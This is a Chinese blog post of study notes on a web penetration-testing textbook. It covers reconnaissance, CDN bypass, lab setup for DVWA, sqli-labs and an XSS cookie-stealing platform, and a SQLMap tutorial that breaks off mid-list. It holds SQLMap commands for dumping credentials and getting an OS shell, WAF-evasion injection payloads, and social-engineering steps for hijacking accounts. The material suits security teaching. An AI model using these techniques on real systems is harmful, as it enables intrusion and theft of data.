美文网首页php19-23年 学习笔记
《 Web 安全渗透测试实战指南 》学习笔记

《 Web 安全渗透测试实战指南 》学习笔记

作者: Du1in9 | 来源:发表于2021-03-28 16:39 被阅读0次

    前言

    随着"网络空间安全”被批准为国家一级学科,各高校网络空间安全学院如雨后春笋般纷纷成立,但各高校的网络安全教育普遍存在一个问题,便是很少全面、系统地开设“渗透测试”方面的课程,而“渗透测试”作为主动防御的一种关键手段,对评估网络系统安全防护及措施至关重要,因为只有发现问题才能及时终止并预防潜在的安全风险。目前市面上的网络安全书籍良莠不齐,希望本书能为网络安全行业贡献一份微薄之力。
    本书基本囊括了目前所有流行的高危漏洞的原理、攻击手段、防御手段,并结合大量的图文解说,可以使初学者很快掌握Web渗透技术的具体方法和流程,帮助初学者从零开始建立起一些基本技能。全书按照从简单到复杂、从基础到进阶的顺序讲解,不涉及一些学术性、纯理论性的内容,所讲述的渗透技术都是干货。读者按照书中所讲述的步骤操作即可还原实际的渗透攻击场景。

    本书结构

    第1章 渗透测试之信息收集
    在这个阶段,要尽可能地收集目标的信息。我们越了解测试目标,测试的工作就越容易。本章主要介绍了域名及子域名信息收集、查找真实IP、CMS指纹识别、目标网站真实IP、常用端口的信息收集等内容。
    第2章 搭建漏洞环境及实战
    ”白帽子“在目标对象不知情或没有得到授权的情况下发起的渗透攻击是非法行为,所以我们通常会搭建一个有漏洞的Web应用程序,以此来练习各种各样的安全渗透技术。本章主要介绍了Linux系统下的LANMP、Windows系统下的WAMP应用环境的搭建,DVWA漏洞平台、SQL注入平台、XSS测试平台等常用渗透测试漏洞练习平台的安装配置及实战。
    第3章 常用的渗透测试工具
    日常的渗透测试中,借助一些工具,"白帽子" 可以更高效地执行安全测试。本章详细介绍了常用的三大渗透测试工具SQLMap、Burp Suite、Nmap的安装、入门和实战利用。
    第4章 Web安全原理剖析
    Web渗透的核心技术包括SQL注入、XSS攻击、CSRF攻击、SSRF攻击、暴力破解、文件上传、命令执行漏洞攻击、逻辑漏洞攻击、XXE漏洞攻击、WAF绕过等。本章依次将这些常见高危漏洞提取出来,从原理到利用、从攻击到防御一一讲解。同时还讲解了CSRF漏洞、SSRF漏洞、XXE漏洞、暴力破解漏洞、命令执行漏洞、文件上传漏洞、逻辑漏洞的形成原理、漏洞利用、代码分析,以及修复建议。
    第5章 Metasploit技术
    Metasploit是近年来最强大、最流行、最有发展前途的开源渗透测试平台软件之一,它完全颠覆了已有的渗透测试方式。本章详细介绍了Metasploit的攻击步骤、信息收集、漏洞分析、漏洞利用、权限提升、移植漏洞代码模块,以及如何建立后门的实践方法。通过具体的内网域渗透测试实例,分析如何通过一个普通的WebShell权限一步一步获取域管权限,最终畅游整个内网。
    第6章 PowerShell攻击指南
    在渗透测试中,PowerShell是不能忽略的一个环节,而且仍在不断地更新和发展,它具有令人难以置信的灵活性和功能化管理Windows系统的能力。PowerShell的众多特点使得它在获得和保持对系统的访问权限时,也成为攻击者首选的攻击手段。本章详细介绍了PowerShell的基本概念和常用命令,以及PowerSploit、Empire Nishang等常用PowerShell攻击工具的安装及具体模块的使用,包括生成木马、信息探测、权限提升、横向渗透、凭证窃取、键盘记录、后门持久化等操作。
    第7章 实例分析
    对网站进行渗透测试前,如果发现网站使用的程序是开源的CMS,测试人员一般会在互联网上搜索该CMS已公开的漏洞,然后尝试利用公开的漏洞进行测试。由于CMS已开源,所以可以下载源码直接进行代码审计,寻找源码中的安全漏洞。本章结合实际的源码,详细介绍了如何找出SQL注入漏洞、文件删除漏洞、文件上传漏洞、添加管理员漏洞、竞争条件漏洞等几种常见安全漏洞的代码审查方法,并通过实际案例细致地讲解了几种典型的攻击手段。如后台爆破、SSRF + Redis获得WebShell。旁站攻击、重置密码攻击、SQL注入攻击,完美复现了整个实际渗透攻击的过程。

    一、渗透测试之信息收集

    在信息收集中,最主要的就是收集服务器的配置信息、网站的敏感信息。其中包括域名及子域名信息、目标网站系统 CMS指纹、目标网站真实 IP、开放的端口等。换句话说,只要是与目标网站相关的信息,我们都应该去尽量搜集。

    • 1.1 收集域名信息

    知道目标的域名之后,我们要做的第一件事就是获取域名的注册信息,包括该域名的DNS服务器信息、注册人的联系信息等。域名信息收集的常用方法有以下这几种。
    1、Whois查询
    Whois是一个标准的互联网协议,可用于收集网络注册的域名、IP地址等信息。即一个用于查询域名是否已被注册以及注册域名的详细信息的数据库(如域名所有人、域名注册商)。在Whois查询中,得到注册人的姓名、邮箱信息通常对测试个人站点非常有用,因为我们可以通过搜索引擎和社交网络挖掘出域名所有人的很多信息。对中小站点而言,域名所有人往往就是管理员。
    ① Kali 系统中,Whois已经默认安装,只需输入要查询的域名即可,如图所示。


    ② Whois 在线查询的常用网站有爱站工具网(https://whois.aizhan .com)、站长之家(http: //whois.chinaz .com)、VirusTotal(https://www .virustotal .com),通过这些网站可以查询域名的相关信息,如域名服务商、域名拥有者、邮箱、电话、地址等。
    2、备案信息查询
    根据国家法律规定,网站的所有者需要向国家有关部门申请网站备案,这是国家信息产业部对网站的一种管理,为了防止网上从事非法网站经营活动的发生。主要针对国内网站,如果网站搭建在国外,则不需要备案。
    常用的备案信息查询网站有:ICP备案查询网:http: //www .beianbeian .com,天眼查:http: //www .tianyancha .com。
    • 1.2 收集敏感信息

    ① Google
    Google是世界上最强的搜索引擎之一,对渗透测试者而言,它是一款绝佳的黑客工具。我们可以通过构造特殊的关键字语法来搜索互联网上的相关敏感信息。下面列举了一些Google的常用语法及其说明,如表所示。


    例如:尝试搜索一些学校网站的后台,语法为 "site:edu.cn intext:后台管理" ,即搜索网页正文中含有 "后台管理”且域名后缀是edu.cn的网站,如图所示。

    Google还可以用来收集数据库文件、SQL注入、配置信息、源代码泄露、未授权访问、robots.txt等敏感信息。
    当然,这种搜索思路还可以用在百度、雅虎、Bing、Shodan等搜索引擎上,其语法大同小异。
    ② Burp Suite
    Burp Suite的Repeater功能同样可以获取一些服务器的信息,如运行的Server类型及版本、PHP的版本信息等。针对不同的Server,可以利用不同的漏洞进行测试,如图所示。

    ③ GitHub
    在GitHub上寻找相关敏感信息,如数据库连接信息、邮箱密码、uc-key、阿里的osskey,有时还可以找到泄露的源码。
    还可以通过乌云漏洞表(https://wooyun.shuimugan.com)查询历史漏洞信息。
    • 1.3 收集子域名信息

    子域名也就是二级域名,是顶级域名下的域名。假设我们的目标网络规模比较大,直接从主域入手显然是很不理智的,因为一般其主域都是重点防护区域,可以先进入目标的某个子域,然后再想办法迂回接近真正的目标。而怎样才能尽可能多地搜集目标的高价值子域呢?常用的方法有以下几种。
    1、子域名检测工具
    ① Layer子域名挖掘机的使用比较简单,直接输入域名就可以进行扫描。显示界面有域名、解析IP、CDN列表、Web服务器、网站状态,这些对安全测试人员非常重要,如图所示。


    ② subDomainsBrute可以用小字典递归地发现三、四、五级域名等不容易被探测到的域名。执行该工具的命令:python subDomainsbrute.py xxxx.com
    ③ Sublist3r能列举多种资源,不仅可以列出Google Yahoo、Bing、Baidu、Ask中可查到的子域名,还有Netcraft、VirusTotal、ThreatCrowd、DNSdumpster、Reverse DNS等可查到的子域名。
    2、搜索引擎枚举
    可以利用Google语法搜索子域名,例如:搜索百度旗下的子域名就可以使用 "site:baidu.com" ,如图所示。

    3、第三方聚合应用枚举
    很多第三方服务汇聚了大量DNS数据集,可通过它们检索某个给定域名的子域名。直接在搜索栏中输入域名,就可检索到相关的域名信息,如图所示。

    也可以利用DNSdumpster网站(https://dnsdumpster.com/)、在线DNS侦查和搜索的工具挖掘出潜藏的大量子域。
    4、证书透明度公开日志枚举
    证书透明度(CT)是证书授权机构(CA)的一个项目,CA会将每个SSL/TLS证书发布到公共日志中。证书通常包含域名、子域名、邮件地址,这些也经常成为攻击者想要获得的有用信息。可以使用搜索引擎搜索一些公开的CT日志来查找某个域名所属证书。
    推荐网址:https://crt.sh、https://censys.io,下面展示一个crt.sh进行子域名枚举的例子,如图所示。

    5、在线网站查询子域名
    子域名爆破网站(https://phpinfo. me/domain)、IP反查绑定域名网站(http: //dns.aizhan.com)等。
    • 1.4 收集常用端口信息

    1、端口扫描工具
    通过扫描服务器开放的端口,进而从该端口判断服务器上存在的服务,就可以对症下药,便于我们渗透目标服务器。
    在端口信息的收集过程中,我们需要关注常见应用的默认端口和在端口上运行的服务。最常见的扫描工具就是Nmap、无状态端口扫描工具Masscan、ZMap、御剑高速TCP端口扫描工具,如图所示。


    2、常见端口以及攻击方向
    ① 文件共享服务端口如表所示。

    ② 远程连接服务端口如表所示。

    ③ Web应用服务端口如表所示。

    ④ 数据库服务端口如表所示。

    ⑤ 邮件服务端口如表所示。

    ⑥ 网络常见协议端口如表所示。

    ⑦ 特殊服务端口如表所示。
    • 1.5 指纹识别

    指纹由于其终身不变性、唯一性、方便性,几乎已成为生物特征识别的代名词。本节所讲的是网站CMS指纹识别、计算机操作系统、Web容器的指纹识别等。
    1、 应用程序一般会在html、js、css等文件包含一些特征码,比如WordPress在frobots.txt会包含wp-admin、首页index.php中会包含generator=wordpress 3.xx,这就是CMS的指纹。当其他网站也存在此特征时,就可以快速识别出该CMS,叫作指纹识别。
    2、 在渗透测试中,对目标服务器进行指纹识别是相当有必要的,因为只有识别出相应的Web容器或者CMS,才能查找相关的漏洞,然后进行相应的渗透。
    3、 CMS又称整站系统或文章系统。开发者只要给客户一个软件包,客户自己安装配置好,就可以定期更新数据来维护网站,节省了大量的人力和物力。
    常见的CMS有:Dedecms(织梦)、Discuz、PHPWEB、PHPWind、PHPCMS、ECShop、Dvbbs、SiteWeaver、ASPCMS、帝国、Z-Blog,WordPress等。
    代表识别CMS工具有:御剑Web指纹识别、WhatWeb、WebRobo、椰树、轻量WEB指纹识别等,如图所示。


    • 1.6 查找真实IP

    在渗透测试中,目标服务器可能只有一个域名,那么如何通过这个域名来确定目标服务器的真实IP就很重要。如果目标服务器不存在CDN,可以直接通过www. p138. com获取目标的一些IP及域名信息。这里主要讲解在以下几种情况下,如何绕过CDN寻找目标服务器的真实IP.
    1、目标服务器存在CDN
    CDN即内容分发网络,主要解决因传输距离和不同运营商节点造成的网络速度性能低下的问题。
    说得简单点,就是一组在不同运营商之间的对接节点上的高速缓存服务器,把用户经常访问的静态数据资源(静态的html、css、js图片等)缓存到节点服务器上。当用户再次请求时,会直接分发到离用户近的节点服务器上响应给用户,当有实际数据交互时才会从远程Web服务器上响应。
    如果渗透目标购买了CDN服务,可以直接ping目标的域名,但得到的并非真正的目标Web服务器,只是离我们最近的一台目标节点的CDN服务器,导致了我们没法直接得到目标的真实IP段范围。
    2、判断目标是否使用了CDN
    通常会通过ping目标主域,观察域名的解析情况,以此来判断其是否使用了CDN,如图所示。


    还可以利用在线网站17CE(https://www. 17ce. com)进行全国多地区的ping服务器操作,然后对比每个地区ping出的IP结果,查看是否一致,如果都是一样的,极有可能不存在CDN,如果IP大多不太一样或者规律性很强,可以尝试查询这些IP的归属地,判断是否存在CDN。
    3、绕过CDN寻找真实IP
    在确认了目标确实用了CDN后,就需要绕过CDN寻找目标的真实IP,下面介绍一些常规的方法。
    ① 内部邮箱源。一般的邮件系统都在内部,没有经过CDN的解析。通过目标网站用户注册或RSS订阅功能,查看邮件,寻找邮件头中的邮件服务器域名IP,ping这个邮件服务器的域名,就可以获得目标的真实IP(注意:必须是目标自己的邮件服务器,第三方或公共邮件服务器是没有用的)。
    ② 扫描网站测试文件,如phpinfo、test等,从而找到目标的真实IP.
    ③ 分站域名。很多网站主站的访问量会比较大,所以主站都是挂CDN的,但是分站可能没有挂CDN。可以通过ping二级域名获取分站IP,可能会出现分站和主站不是同一个IP但在同一个C段下的情况,从而能判断出目标的真实IP段。
    ④ 国外访问。国内的CDN往往只对国内用户的访问加速,而国外的CDN就不一定了。通过国外在线代理网站App Synthetic Monitor(https://asm. ca.com/en/ping. php)访问,可能会得到真实的IP,如图所示。

    ⑤ 查询域名的解析记录。也许目标很久以前并没有用过CDN,可以通过网站NETCRAFT(https://www. netcraft. com/)来观察域名的IP历史记录,也可以大致分析出目标的真实IP段。
    ⑥ 如果目标网站有自己的App,可以尝试利用Fiddler或Burp Suite抓取App的请求,从里面找到目标的真实IP.
    ⑦ 绕过CloudFlare CDN查找真实IP,现在很多网站都使用CloudFlare提供的CDN服务,在确定了目标网站使用CDN后,可以尝试通过在线网站Clouc FlareWatch(http: //www. crimeflare .us/cfs. html#box)对CloudFlare客户网站进行真实IP查询,如图所示。

    4、验证获取的IP
    最简单的方法是直接用IP访问,看看响应的页面是不是和访问域名返回的一样。或者在目标段比较大的情况下,借助类似Masscan的工具批扫描对应IP段中所有开了80、443、8080端口的IP,然后逐个尝试IP访问,观察响应结果是否为目标站点。

    1.7 收集敏感目录文件

    在渗透测试中,探测Web目录结构和隐藏的敏感文件是一个必不可少的环节,从中可以获取网站的后台管理页面、文件上传界面,甚至网站的源代码。
    针对网站目录的扫描主要有:DirBuster、御剑后台扫描珍藏版、wwwscan、轻量级快速单文件目录后台扫描(Spinder. py、Sensitivefilescan、Weakfilescan)等工具。
    DirBuster由OWASP开发,基于Java编写,需要在Java运行环境(JRE)下安装。使用的基本步骤如下:
    1、在Target URL输入框中输入要扫描的网址,扫描时将请求方法设置为"Auto Switch(HEAD and GET)"选项。
    2、设置线程的数值,推荐在20-30之间,太大容易引起系统死机。
    3、选择扫描类型,单击"Browse"选择工具自带的字典。若选择自己的字典,则单击 "List based brute force" 选项。
    4、在Select starting options中选择"URL Fuzz"方式进行扫描。设置fuzzing时需要注意,在URL to fuzz里输入"/{dir}"。这里的(dir)是一个变量,用来代表字典中的每一行,如图所示。



    如果扫描的目标是http ://www .xxx .com/admin/,则在URL to fuzz里填写"/admin/{dir}",意思是在"{dir}"的前后可以随意拼接想要的目录或后缀,例如输入":/admin/dir.php"就表示扫描admin目录下的所有php文件。

    • 1.8 社会工程学

    1、简介
    社会工程学在渗透测试中起着不小的作用,利用社会工程学,攻击者可以从一名员工的口中挖掘出本应该是秘密的信息。
    2、举例
    假设攻击者对一家公司进行渗透测试,正在收集目标的真实IP阶段,此时就可以利用收集到的这家公司的某位销售人员的电子邮箱。首先,给这位销售人员发送邮件,假装对某个产品很感兴趣,显然销售人员会回复邮件。这样攻击者就可以通过分析邮件头来收集这家公司的真实IP地址及内部电子邮件服务器的相关信息。假设现在已经收集了目标人物的邮箱、QQ电话号码、姓名、域名服务商,也通过爆破或者撞库的方法获取了邮箱的密码,这时就可以冒充目标人物要求客服人员(甚至技术人员)协助重置域管理密码,从而使攻击者拿下域管理控制台,然后做域劫持。
    3、社工库
    除此以外,还可以利用"社工库"查询想要得到的信息,如图所示。
    社工库是用社会工程学进行攻击时积累的各方数据的结构化数据库。这个数据库里有大量信息,甚至可以找到每个人的各种行为记录。利用收集到的邮箱,可以找到已经泄露的密码。还可以通过搜索引擎搜索到社交账号等信息,然后利用社交和社会工程学得到的信息构造密码字典,对目标用户的邮箱和OA账号进行爆破或者撞库。

    二、搭建漏洞环境及实战

    2.1 在Linux系统中安装LANMP

    1、简介
    LANMP是Linux下Apache、Nginx、MySQL、PHP的应用环境,本节演示WDLinux一款集成的安装包。
    下载安装包:wget http: //dl .wdlinux. cn/files/lanmp v3.tar.gz
    解压安装包:tar zxvf lanmp-v3.tar.gz,如图所示。


    运行命令:sh lanmp.sh,如图所示。

    其中Zend Guard是一款PHP加密工具,经过加密的文件,必须安装Zend才能返回正常页面;
    PureFTPd是FTP空间服务;phpMyAdmin的作用是利用Web页面来管理MySQL数据库服务。
    在 Kali、Ubuntu 等系统中,输入sh lanmp.sh 命令后提示有错误,如图所示。

    这是因为系统的dash兼容性不好,而编译常用的就是dash,可以输入sudo dpkg-reconfigure dash命令,直接更改系统的编辑器(Shell)操作,选择"<No>"选项。
    接着输入sudo sh lanmp.sh命令继续安装,选择安装的坏境即可。安装完成后如图所示。

    先在浏览器中访问IP和8080端口,输入默认的账号admin和密码wdlinux.cn,然后修改密码,防止被攻击。

    2.2 在Windows系统中安装WAMP

    WAMP是Windows中Apache、MySQL、PHP的应用环境, 这里演示的是WampServer。
    通常在安装WampServer时会遇到一个问题, 提示找不到MSVCR110.dll。解决方案是去 http: // www .zhaodil .com/dll/download.asp?softid=41552&downid-28iz3-2a9db44a3a7e2d7f65f2c100b66620978id=41625-
    下载Msvcx110-zip, 放到C:\Windows\System32(或64)目录下后, 重新安装。
    如果遇到Apache启动失败的情况, 应当先卸载Apache服务, 然后重新安装Apache服务并启动, 如图所示。



    启动成功后访问127.0.0.1, 验证是否正常运行。

    2.3 搭建DVWA漏洞环境

    DVWA是一款开源的渗透测试漏洞练习平台, 内含XSS, SQL注入、文件上传、文件包含、CSRF、暴力破解等各个难度的测试环境。安装时需要在数据库里创建一个数据库名:进入MysQL管理中的phpMyAdmin, 打开 http: // 127. 0.0.1/phpMyAdmin/, 创建名为"dvwa"的数据库, 如图所示。



    接着修改config文件夹下config.inc.php中数据的用户名、密码、数据库名, 如图所示。



    修改完成后, 保存并复制所有源码, 粘贴在网站的根目录中, 也就是www目录下, 打开浏览器访问http: //127.0. 0.1/setup.php, 单击"Create/Reset Database"按钮进行安装, 安装成功后如图所示。
    单击"login"即可登录, 默认账号为admin, 密码为password.

    安装过程中可能会出现红色的Disabled, 修改PHP安装目录中的php.ini文件, 找到allow url include, 把off改为on, 然后重启PHP即可解决问题, 如图所示。


    2.4 搭建SQL注入平台

    sqli-labs是一款学习SQL注入的开源平台,共有75种不同类型的注入。下载完压缩包后解压,复制源码将其粘贴到网站的目录中,进入MySQL管理中的phpMyAdmin,打开http:// 127.0.0.1/phpMyAdmin/,新建名为"security"的数据库,并把源码中的sql-lab.sql文件导入数据库中,如图所示。



    打开sql-connections文件夹中的db-creds.inc文件,可以修改数据库的账号、密码、库名等配置信息。访问127.0.0.1/sql1/,接着单击"Setup/reset Database for labs",如图所示。



    在www目录中创建sgl1文件夹,并把代码放在该目录下,单击"Setup/reset Database for labs"后会自动访问http: //127.0.0.1/sql1/sql-
    connections/setup-db.php,如果出现如图所示的信息,说明安装成功。

    2.5 搭建XSS测试平台

    XSS测试平台是测试XSS漏洞获取cookie并接收Web页面的平台,XSS可以做JS能做的所有事,包括但不限于窃取cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息(如浏览器信息、IP地址)等。这里使用的是基于xsser.me的源码,解压后将其放置在用来搭建XSS平台的网站目录下,安装过程如下所示。

    1、进入MySQL管理中的phpMyAdmin,新建一个XSS平台的数据库,如xssplatform,设置用户名和密码,如图所示。


    2、修改config.php中的数据库连接字段,包括用户名、密码、数据库名,访问XSS平台的URL地址,将注册配置中的invite改为normal,如图所示。

    3、进入MySQL管理中的phpMyAdmin,选择XSS平台的数据库,导入源码包中的xssplatform.sq文件,然后执行SQL命令:UPDATE oc module SET code=REPLACE(code, 'http: //xsser.me'
    http: //yourdomain/xss')
    ,将数据库中原有URL地址修改为自己的URL,如图所示。

    同时需要将authtest.php中的网址代码替换为自己的URL,如图所示。

    4、接下来访问搭建XSS平台的URL,注册用户,然后在phpMyAdmin里选择oc_user,将adminLevel值改为1,再将config.php注册配置中的normal改为invite(使用邀请码注册,即关闭开放注册的功能)
    5、配置伪静态文件(.htaccess),在平台根目录下创建.htaccess文件,写入以下代码。

    6、使用注册的账号登录XSS平台,创建项目,如图所示。

    三、常用的渗透测试工具

    • 3.1 SQLMap详解

    SQLMap是一个自动化的SQL注入工具,主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL,Oracle、
    PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite Firebird、Sybase、SAP MaxDB。
    SQLMap的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的效果。

    SQLMap采用了以下5种独特的SQL注入技术:
    1、基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
    2、基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行来判断。
    3、基于报错注入,即页面会返回错误信息,或把注入语句的结果直接返回到页面中。
    4、联合查询注入,在可以使用Union的情况下的注入。
    5、堆查询注入,可以同时执行多条语句时的注入。

    一、安装 SQLMap
    1、安装Python环境(不支持Python 3),安装完成后复制目录,添加到环境变量值中,如图所示。


    2、然后在官网下载最新版的SQLMap,放到Python的安装目录下,并把SQLMap目录加到环境变量中。打开cmd,输入sqlmap.py命令后工具即可正常运行,如图所示。

    二、SQLMap 入门
    1、判断是否存在注入
    假设目标注入点是 http: //192.168.1.104/sql/Less-1/?id=1,判断其是否存在注入的命令为:sqlmap.py -u http: //192.168.1.104/sql1/Less-1/?id=1
    如图所示,结果显示存在注入。

    还有一种情况,当注入点后面的参数大于等于两个时,需要加双引号:sqlmap.py -u "http: //192.168.1.104/sql1/Less-1/?id=1&uid=2"
    可以看到,运行完语句后,"爆出"一大段代码,下面来分析代码反馈给我们的信息。
    第一处:检测到数据库可能是MySQL,选择是否需要跳过检测其他数据库;
    第二处:在"level1.risk1"的情况下,选择是否使用MySQL对应的所有Payload进行检测;
    第三处:参数ID存在漏洞,选择是否要继续检测其他参数,一般默认按回车键即可。
    2、判断文本中的请求是否存在注入
    从文件中加载HTTP请求,SQLMap可以从一个文本文件中获取HTTP请求,这样就可以不设置其他参数(如cookie,POST数据等),1.txt文件中的内容为Web数据包,如图所示。

    判断是否存在注入的命令:sqlmap.py -r desktop/1.txt(-r 一般在cookie注入时使用),运行后的结果如图所示。

    3、查询当前用户的所有数据库
    sqlmap.py -u http: //192.168.1.104/sql1/Less-1/?id=1——dbs,该命令是确定网站存在注入后,用于查询当前用户的所有数据库。如果当前用户有权限读取数据库列表信息的表,就可以列出所有数据库,如图所示。

    可以看到,查询出了17个数据库及所有库名。当继续注入时,——dbs缩写成 -D xxx,意思是在xxx数据库中继续查询其他数据。
    4、获取数据库中的表名
    sqlmap.py -u "http: //192.168.1.7/sql/union.php?id=1" -D xxx——tables,该命令的作用是查询完数据库后,查询指定xxx库中所有的表名。

    可以看到dkeye数据库中拥有的3个表名。当继续注入时,——tables缩写成-T,意思是在某表中继续查询。
    5、获取表中的字段名
    sqlmap.py -u "http: //192.168.1.7/sq/union.php?id=1" -D dkeye -T xxx——columns,该命令的作用是查询完dkeye表名后,查询xxx表中所有的字段名。

    可以看到在dkeye数据库中的user_info表中一共有4个字段。在后续的注入中,——columns缩写成 -C。
    6、获取字段内容
    sqlmap.py -u "http: //192.168.1.7/sq/union.php?id-1" -D dkeye -T user_info -C username,password——dump该命令是查询完字段名之后,获取该字段中具体的数据。这里下载的数据是dkeye数据库里user_info表中username、password的值,如图所示。

    7、获取数据库的所有用户
    sqlmap.py -u "http: //192.168.1.7/sq/union.php?id=1" -users,该命令的作用是列出数据库的所有用户。在当前用户有权限读取用户的表的权限时,使用该命令就可以列出所有管理用户。

    可以看到,当前用户账号是root。
    8、获取数据库用户的密码
    sqlmap.py -u "http: //192.168.1.7/sq/union.php?id=1"——passwords,该命令的作用是列出数据库用户的密码。如果当前用户有读取用户密码的权限,SQLMap会先列举出用户,然后列出Hash,并尝试破解。

    图中可以看到,密码使用MySQL5加密,可以在www .cmd5 .com中自行解密。
    9、获取当前网站数据库的名称
    sqlmap.py -u "http: //192.168.1.7/sql/union.php?id=1"——current-db,使用该命令列出当前网站使用的数据库,可以看到数据库是 'sgl'。

    10、获取当前网站数据库的用户
    sqlmap.py -u "http: //192.168.1.7/sq/union.php?id-1"——current-user,使用该命令可以列出当前网站使用的数据库用户,可以看到用户是root。

    三、SQLMap进阶:参数讲解
    1、——level 5:探测等级
    参数——level 5指需要执行的测试等级,一共有5个等级(1~5),可不加level,默认是1。SQLMap 使用的 Payload 可以在xml/payloads.xml 中看到,也可以根据相应的格式添加自己的Payload,其中5级包含的Payload最多,会自动破解出cookie、XFF等头部注入,但运行速度也比较慢。
    这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer 头在level为3时就会测试。总之,在不确定哪个Payload或参数为注入点时,建议使用高的level值。
    2、——is-dba:当前用户是否为管理权限
    sqlmap.py -u "http: //192.168.1.7/sql/union.php?id=1"——is-dba,该命令用于查看当前账户是否为数据库管理员账户。在本案例中输入该命令,会返回Ture,如图所示。

    3、——roles:列出数据库管理员角色
    该命令用于查看数据库用户的角色,仅适用于当前数据库是Oracle的时候。如果当前用户有权限读取用户的表,输入该命令会列举每个用户的角色,也可以用-U参数指定想看哪个用户的角色。在本案例中输入该命令的结果如图所示。

    4、——referer:HTTP Referer头
    SQLMap可以在请求中伪造HTTP中的referer,当——level参数设定大于等于3时,会尝试对referer注入。可以使用referer命令来欺骗,例:——referer http: //www. baidu. com
    5、——sql-shell:运行自定义SQL语句
    sqlmap.py -u "http: //192.168.1.7/sq/union.php?id=1"——sql-shell,该命令用于执行指定的SQL语句。假设执行 select * from users limit 0,1语句,结果如图所示。

    6、——os-cmd,——os-shell:运行任意操作系统命令
    适用在数据库为MySQL、PostgreSQL(或Microsoft SQL Server),而且当前用户有权限使用特定函数时。
    ① 如果数据库为MySQL、PostgresQL,SQLMap上传一个二进制库,包含用户自定义的函数 sys_exec() 和 sys_eval() ,那么这两个函数就可以执行系统命令。② 在Microsoft SQL Server中,SQLMap将使用xp_cmdshell存储过程。如果被禁用,SQLMap会重新启用它;如果不存在,会自动创建。
    用——os-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时(比如PHP或ASP的后端数据库为MySQL),仍然可以使用 INTO OUTFILE 写进可写目录,创建一个Web后门。——os-shell支持ASP、ASP.NET、JSP、PHP四种语言(要想改参数,需要有数据库管理员权限,即——is-dba的值为True)。
    7、——file-read:从数据库服务器中读取文件
    适用在数据库为MySQL、PostgresQL(或Microsoft SQL Server),并且当前用户有权限使用特定函数时。该命令用于读取执行文件,可以是文本、二进制文件。下面以Microsoft SQL Server 2005为例。

    8、——file-write——file-dest:上传文件到数据库服务器中
    适用在数据库为MySQL、PostgresQL(或Microsoft SQL Server),并且当前用户有权限使用特定函数时。该命令用于写入本地文件到服务器中,可以是文本、二进制文件。

    四、SQLMap自带绕过脚本tamper的讲解
    SQLMap在默认情况下除了使用 CHAR() 函数防止出现单引号,没有对注入的数据进行修改,可以使用——tamper参数对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则,命令如下所示:sqlmap.py XXXXX ——tamper "模块名"。目前官方提供53个绕过脚本,下面是一个tamper脚本的格式。

    不难看出,tamper脚本结构为priority变量定义,以及dependencies、tamper函数定义。
    ① priority 定义脚本的优先级,用于有多个tamper脚本的情况。
    ② dependencies 函数声明该脚本适用/不适用的范围,可以为空。
    下面以一个转大写字符绕过的脚本为例。def tamper (payload, * kwargs) 函数接收 playload 和 * kwargs 返回一个Payload,下面这段代码的意思是通过正则匹配所有字符,将所有攻击载荷中的字符转换为大写字母。

    在日常使用中,我们会对一些网站是否有安全防护(WAF/DS/IPS)进行试探,可以使用参数——identify-waf 进行检测。下面介绍一些常用的tamper脚本。
    apostrophemask.py
    作用:将引号替换为UTF-8,过滤单引号。
    使用脚本前的语句为:1 AND'1'='1
    使用脚本后的语句为:1 AND%EF%BC%871%EF%BC%87=%EF%BC%871
    base64encode.py
    作用:替换为base64编码。
    使用脚本前的语句为:1' AND SLEEP(5)#
    使用脚本后的语句为:MScgQUSEIFNMRUVQKDUplw==
    multiplespaces.py
    作用:围绕SQL关键字添加多个空格。
    使用脚本前的语句为:1 UNION SELECT foobar
    使用脚本后的语句为:1 UNION SELECT foobar
    space2plus.py
    作用:用+号替换空格。
    使用脚本前的语句为:SELECT id FROM users
    使用脚本后的语句为:SELECT+id+FROM+users
    nonrecursivereplacement.py
    作用:作为双重查询语句,用双重语句替代预定义的SQL关键字
    使用脚本前的语句为:1 UNION SELECT 2-
    使用脚本后的语句为:1 UNIOUNIONN SELESELECTCT 2-
    space2randomblank.py
    作用:将空格替换为其他有效字符。
    使用脚本前的语句为:SELECT id FROM users
    使用脚本后的语句为:SELECT%0Did%0DEROM%0Ausers
    unionalltounion.py
    作用:将UNION ALL SELECT替换为UNION SELECT.
    使用脚本前的语句为:-1 UNION ALL SELECT
    使用脚本后的语句为:-1 UNION SELECT
    securesphere.py
    作用:追加特制的字符串。
    使用脚本前的语句为:1 AND 1=1
    使用脚本后,语句为:1 AND 1=1 and '0having'='0having'
    space2hash.py
    作用:将空格替换为#号,并添加一个随机字符串和换行符。
    使用脚本前的语句为:1 AND 9227=9227
    使用脚本后的语句为:1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227
    space2mssqlblank.py(mssql)
    作用:将空格替换为其他空符号。
    使用脚本前的语句为:SELECT id FROM users
    使用脚本后的语句为:SELECT%0Eid%0DFROM%07users
    space2mssalhash.py
    作用:将空格替换为#号,并添加一个换行符。
    使用脚本前的语句为:1 AND 9227=9227
    使用脚本后的语句为:1%23%0AAND%23%0A9227=9227
    between.py
    作用:用NOT BETWEEN 0 AND替换大于号(>),用BETWEEN AND替换等号(=)。
    使用脚本前的语句为:1 AND A >B-
    使用脚本后的语句为:1 AND A NOT BETWEEN 0 AND B-
    使用脚本前的语句为:1 AND A=B-
    使用脚本后的语句为:1 AND A BETWEEN B AND B-
    percentage.py
    作用:ASP允许在每个字符前面添加一个%号。
    使用脚本前的语句为:SELECT FIELD FROM TABLE
    使用脚本后的语句为:%S%E%L%E%C%T%F%%E%L%D%F%R%0%M%T%A%B%L%E
    sp_password.py
    作用:从DBMS日志自动模糊处理的有效载荷中追加sp_password.
    使用脚本前的语句为:1 AND 9227=9227-
    使用脚本后的语句为:1 AND 9227=9227-sp_password
    charencode.py
